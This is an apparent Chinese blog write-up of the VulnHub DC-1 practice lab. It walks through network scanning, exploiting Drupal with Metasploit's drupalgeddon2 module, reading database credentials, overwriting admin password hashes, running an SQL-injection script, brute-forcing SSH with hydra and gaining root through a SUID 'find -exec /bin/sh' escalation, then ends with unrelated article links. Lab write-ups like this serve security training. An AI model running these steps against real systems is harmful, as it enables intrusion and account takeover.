DC-1

借鉴我们OnePanda-Sec团队的文章

https://mp.weixin.qq.com/s/BbPkmDiZ-cRleiCqmj114w

靶场搭建

先导入DC-1靶场,并将连接改为NAT模式

信息收集

先通过nmap -sP进行扫描主机网段信息

nmap -sP 192.168.190.0/24

arp-scan -l

然后基本可以确定DC的IP了

DC-1:192.168.190.137
kali:192.168.190.128

得到了ip地址就可以搜集系统类型了

nmap -A -T4 192.168.190.137

  • nmap:Network Mapper 的简称 ,是一款开源免费的网络发现和安全审计工具,可用于列举网络主机清单、检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等 。
  • -A:表示使用进攻性方式扫描 。会启用操作系统检测(尝试识别目标主机的操作系统)、服务版本探测(识别开放端口上运行的服务及其版本号 )和脚本扫描(调用 Nmap 脚本引擎 NSE 执行一系列脚本,进行更深入检测,如漏洞检测、后门扫描等 )。
  • -T4:指定扫描过程使用的时序。Nmap 的时序有 0 - 5 共 6 个级别,T4 属于较高速度级别,扫描速度较快 ,但也相对更容易被防火墙或入侵检测系统(IDS)检测并屏蔽,在网络通讯状况较好时推荐使用。
  • 192.168.190.137:是目标主机的 IP 地址,即此次扫描的对象 。

我们大致可以看到端口以及服务信息

  • 22/tcp:SSH 服务开启,使用 OpenSSH 6.0p1 Debian 4+deb7u7 版本 ,展示了 DSA、RSA、ECDSA 三种类型的主机密钥。

  • 80/tcp:HTTP 服务开启,Web 服务器是 Apache HTTPD 2.2.22 (Debian) 。http - robots.txt 禁止访问 15 个目录和文件,网页标题为 “Welcome to Drupal Site | Drupal Site” ,网页生成器为 Drupal 7。

  • 111/tcp:rpcbind 服务开启,版本为 2 - 4 (RPC #100000) ,还有相关的 rpcinfo 信息。

  • MAC 地址:00:50:56:3F:73:32 ,设备类型推测为通用型,可能是 VMware 虚拟机。

  • 操作系统:推测为 Linux 3.2 - 3.16 版本 ,CPE(Common Platform Enumeration 通用平台枚举)标识为 cpe:/o:linux:linux_kernel:3

基本可以判断主机是开了网站的

​ 当然,我们也可以通过kali自带的whatweb进行扫描,这个可以扫描出是什么CMS,也更加全面

whatweb -v 192.168.190.137

从上面我们可以知道

Apache 2.2.22
PHP 5.4.45
Jquery 1.4.4
CMS Durpal 7

然后就是用dirsearch工具扫一下目录

dirsearch -u 192.168.190.137 -e *

*表示扫描常见的所有文件拓展名,dirsearch如果没有安装,使用该命令时会提示你安装

如果在运行时报错

扫完后会发现有很多目录

漏洞利用

我们知道了CMS的类型和版本,就可以从cms的角度入手(这在实战中也非常常见,通过历史遗留漏洞成为突破口)

我们可以利用msfconsole查找

search Drupal

我们用18年的excellent的漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

show options查看一下我们需要的参数,其中yes为必填项

先设置一下rhosts(设置为目标机器)

set rhosts 192.168.190.137

设置完后我们可以再进行show options,养成一个好习惯,看看有没有设置成功。

然后直接run

当出现连接成功,就表示OK了

之后就是我们的后渗透了

shell一下执行一下我们的linux的命令

ls

可以看到存在flag1.txt

Every good CMS needs a config file - and so do you.

这句话翻译一下就是 每一个好的CMS都需要一个配置文件

find / -name settings.php

cat /var/www/sites/default/settings.php

查看一下,获得flag2

最重要的是我们得到了数据库的账号密码

并翻译一下flag2

暴力破解和字典攻击并非获取访问权限的唯一途径(而你确实需要获取访问权限 )。拿到这些凭证后你能做些什么?

得到了数据库的账号密码,不妨登录试一下

但发现一直卡着,因为shell无法直接交互数据库,需要在shell的情况下获得一个可以交互式的shell,当然需要有python环境的攻击机才行

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t

show databases

use drupaldb

show tables

存在一个users表

select * from users

拿到密码了,但是发现根本爆破不出来,同样另外一个账户Fred也爆破不出来

解决这种无法爆破数据库中网站的密码,我们可以用其他方法

第一种:添加admin权限用户

先exit退回到msf页面

因为在之前我们知道了Drupal的版本为7,可以利用漏洞查找工具searchsploit来查找drupal方面的一个SQL注入的漏洞,会发现很多个漏洞脚本可以使用

searchsploit drupal

我们看一下34992.py这个脚本,可以通过这个URL进行下载

searchsploit 34992.py -p

然后下载下来放到kali里

python2 34992.py

这里需要我们加一下参数,目标URL网址,账号和密码

python2 34992.py -t http://192.168.190.137/ -u test -p test

访问网站,输入账号密码,成功登录

第二种方法:修改admin的密码

在进行之前,先run一下进入shell,并加入python交互性

在drupal里面,会自动给网站的密码进行加密

/var/www/scripts/password-hash.sh

而且可以加参数

得到这一串加密密码后,先登录数据库

mysql -udbuser -pR0ck3t

然后进行替换密码

use drupaldb;update users set pass = "$S$DYyGW7gbUhpGleULFWyeDmGwNxS6ygReItLe6J16hbW/noY/BEXf" where name = 'admin' or name = 'Fred';

这样就已经改了,我们也可以尝试一下爆破(因为这算是一个弱口令了)

然后尝试登录一下 admin/test123 可以登录成功

找到flag3

我们查看一下/etc/passwd,发现flag4

但是我们需要登录这个用户才可以查看

要登陆这个用户,需要获得密码,一个是爆破,一个是看shadow文件查看密码,会发现并没有shadow权限,因为这个需要root权限

第一种方法是使用hydra对这个flag4进行爆破,使用rockyou这个密码本

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.190.137

得到密码 orange

ssh flag4@192.168.190.137

然后回归到第二种方法就是提权,得到root权限,可以用SUID提权,需要利用find命令,查找具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

  • find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
  • /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
  • -perm -u=s:
    • -perm:是按文件权限查找的选项 。
    • -u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
  • -type f-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
  • 2>/dev/null:
    • 2:代表标准错误输出(stderr )的文件描述符 。
    • >:是输出重定向符号 。
    • /dev/null :是一个特殊文件,被称为 “黑洞” 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。

find比较好用,可以通过find执行root的权限查找文件,会发现获取了root的权限

find / -name index.php -exec "/bin/sh" \;

  • -name index.php-name 是按文件名查找的选项,index.php 是要查找的文件名,即查找名为 index.php 的文件 。
  • -exec "/bin/sh" ;:
    • -exec:表示对找到的文件执行指定的 shell 命令 。
    • "/bin/sh":是要执行的命令,/bin/sh 是系统的 Shell 解释器,这里表示执行一个 Shell 。但该命令存在严重问题,正常使用 -exec 时,需要用 {} 作为占位符来代表找到的文件,此处缺少,会导致不是对找到的 index.php 文件执行操作,而是不管是否找到文件都会尝试执行 /bin/sh
    • ;:是命令的结束标识,\ 是为了转义,防止 Shell 将 ; 当作命令分隔符提前处理 。

发现已经提权成功

获得最终flag

[VulnHub]DC-1靶场全过程的更多相关文章

  1. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  2. Vulnhub之Credit_Card_Scammers靶场渗透

    前言 一次"夺旗"练习,涵盖了许多不同的技巧. 背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达.我们发现了一个诈骗网站,我们认为该网站正在 ...

  3. vulnhub: DC 2

    首先地址探测找到主机IP: root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 202 ...

  4. DC靶机1-9合集

    DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...

  5. Vulhub-DC-2靶场

    Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...

  6. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  7. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  10. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

随机推荐

  1. 云主机CPU和内存配比:优化资源分配的关键

    本文分享自天翼云开发者社区<云主机CPU和内存配比:优化资源分配的关键>,作者:每日知识小分享 随着云计算技术的快速发展,云主机已经成为了许多企业和个人用户首-选的计算解决方案.在部署和配 ...

  2. 【软件开发】Git 概念与常用命令

    [软件开发]Git 概念与常用命令 Git 概念 存储方式 Git 是分布式存储,每一个 clone 下来的仓库都可以看成独立的个体,只是 Git 有提供同步功能,因此 Git 支持离线使用,因为本质 ...

  3. autMan奥特曼机器人-定时推送的用法

    一.定时推送功能简介 "定时推送"位于"系统管理"目录 主要有两个功能: 一是定时向某人或某群发送信息. 二是定时运行某指令,就是机器人给自己发指令,让自己运行 ...

  4. Typecho复制文章自带版权说明

    自带版权说明代码 <script> document.body.addEventListener('copy', function (e) { if (window.getSelectio ...

  5. vue - [01] 概述

    题记部分 001 || 什么是Vue   Vue(发音为 /vju:/,类似view)是一款用于构建用户界面的渐进式框架(JavaScript).它基于标准HTML.CSS和JavaScript构建, ...

  6. Linux - 内核版本升级

    测试时间:2024年5月15日,本文测试CentOS7.9的内核版本升级 测试结论:不要选择手动编译的方式!!! 一.使用第三方仓库(ELRepo) (1)升级前内核查看(3.10.0-1160.el ...

  7. FUSE,从内核到用户态文件系统的设计之路

    FUSE(Filesystem in Userspace)是一个允许用户在用户态创建自定义文件系统的接口,诞生于 2001 年.FUSE 的出现大大降低了文件系统开发的门槛,使得开发者能够在不修改内核 ...

  8. Windows 提权-UAC 绕过

    本文通过 Google 翻译 UAC-Bypass – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充. 导航 ...

  9. Qt 重载QComboBox,实现右侧删除键

    文章目录 Qt 重载QComboBox,实现右侧删除键 前言 方案 设置下拉箭头图标 设置QComboBox内容为空 自定义showPopup函数 定位鼠标 屏蔽鼠标右键 最终控制下拉代码 效果图 代 ...

  10. 【vscode】vscode配置Java

    [vscode]vscode配置Java 前言 ‍ 配环境,需要记录,避免反复踩坑. ‍ 步骤 ‍ step1:官网走 ‍ 配环境为什么不直接上官网教程,Visual Studio Code - Co ...